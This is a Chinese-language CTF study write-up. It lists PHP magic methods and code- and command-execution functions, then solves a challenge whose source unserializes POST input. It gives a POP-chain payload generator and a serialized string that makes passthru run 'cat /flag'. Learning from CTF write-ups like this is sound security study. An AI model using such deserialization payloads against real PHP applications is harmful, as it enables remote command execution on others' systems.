记录一下反序列化相关的函数

这篇文章蛮好的:PHP-反序列化(超细的) | spaceman’blog (gitee.io)

常见的魔术方法

  • __construct() :当对象被创建时触发

  • __destruct() :当对象被销毁时触发

  • __toString() :当对象被当作一个字符串使用时触发

  • __sleep() :序列化对象前调用(其返回需要是一个数组)

  • __wakeup() :反序列化恢复对象前调用,当字符串表示的对象属性个数大于真实个数时会跳过该函数执行

  • __call() :当调用对象不存在的方法时自动调用

  • __get() :从不可访问的属性读取数据时调用,或者不存在的属性

  • __invoke() :把一个实例对象当作函数使用时被调用

  • __clone() : 进行对象clone时被调用,用来调整对象的克隆行为

  • __callStatic() :调用不可访问或不存在的静态方法时自动调用

  • __isset() :在不可访问的属性上调用 isset() 或 empty() 时触发

  • __set() :当给不可访问或不存在属性赋值时被调用

  • __unset() :在不可访问的属性上使用 unset() 时触发

  • __ set_state() :

    当调用 var_export() 导出类时,此静态方法被调用。用 __set_state() 的返回值做为 var_export() 的返回值
  • __debuginfo() :当调用 var_dump() 打印对象时被调用(当你不想打印所有属性),适用于PHP5.6版本

php代码执行有关的函数

  • eval()函数:会将字符串当作php代码执行,需要以分号结尾,但比较特殊的是它不能被当作变量执行,例如:$a(“phpinfo();”),a为’eval’;这样子会报函数未定义的错误。

    这里去了解一下发现:eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。

    可变函数即变量名加括号,PHP系统会尝试解析成函数,如果有当前变量中的值为命名的函数,就会调用。如果没有就报错。
    可变函数不能用于例如:echo,print,unset(),isset(),empty(),include,require eval() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

  • assert()函数:也是将字符串当作php代码执行,不需要以分号结尾,但在php7.1版本后就默认不再可以执行代码了

命令执行相关函数

  • system()函数:将字符串作为OS命令执行,自带输出功能。
  • passthru()函数:将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
  • exec()函数:将字符串作为OS命令执行,需要输出执行结果,比如使用echo将他打印出来,且它只会输出最后一行的内容。
  • shell_exec():将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
  • 反引号``:里面的代码也会当作OS命令执行,需要输出执行结果。
  • popen()/proc_open()函数:该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

以GeekGame的一题为例来进行学习:

unsign

题目的源码如下:

<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}

class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}

}

class web
{
public $eva1;
public $interesting;

public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}

?>

可以分析知道有三个魔术方法,分别是:**__destruct(),__invoke(),__get()**。

最终我们是要进入$eva1 里面进行命令执行,所以先给eva1和interesting变量进行赋值,注意不能赋值eval,因为eval不能动态调用,然后这是要进入到**__get()方法中才能进行命令执行,再网上看能看到lover类里面返回了变量,即我们可以通过这里访问web的实例对象不存在的属性从而触发__get()方法,看到最后访问的是QW变量,那只要设置一个web对象中不存在的属性即可;要访问该属性,我们又要触发__invoke()方法,看到有syc的__destruct()**方法返回了一个变量当作函数,那我们给这个变量传入lover对象即可;

所以调用链为这样:**__destruct()=>__invoke()=>__get()**

payload如下:

 <?php
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW='test';
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}

}
class web
{
public $eva1='passthru';
public $interesting='cat /flag';

public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
$b=serialize($a);
echo $b;
echo $b;
?>
O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:8:"passthru";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";s:4:"test";}}O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:8:"passthru";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";s:4:"test";}}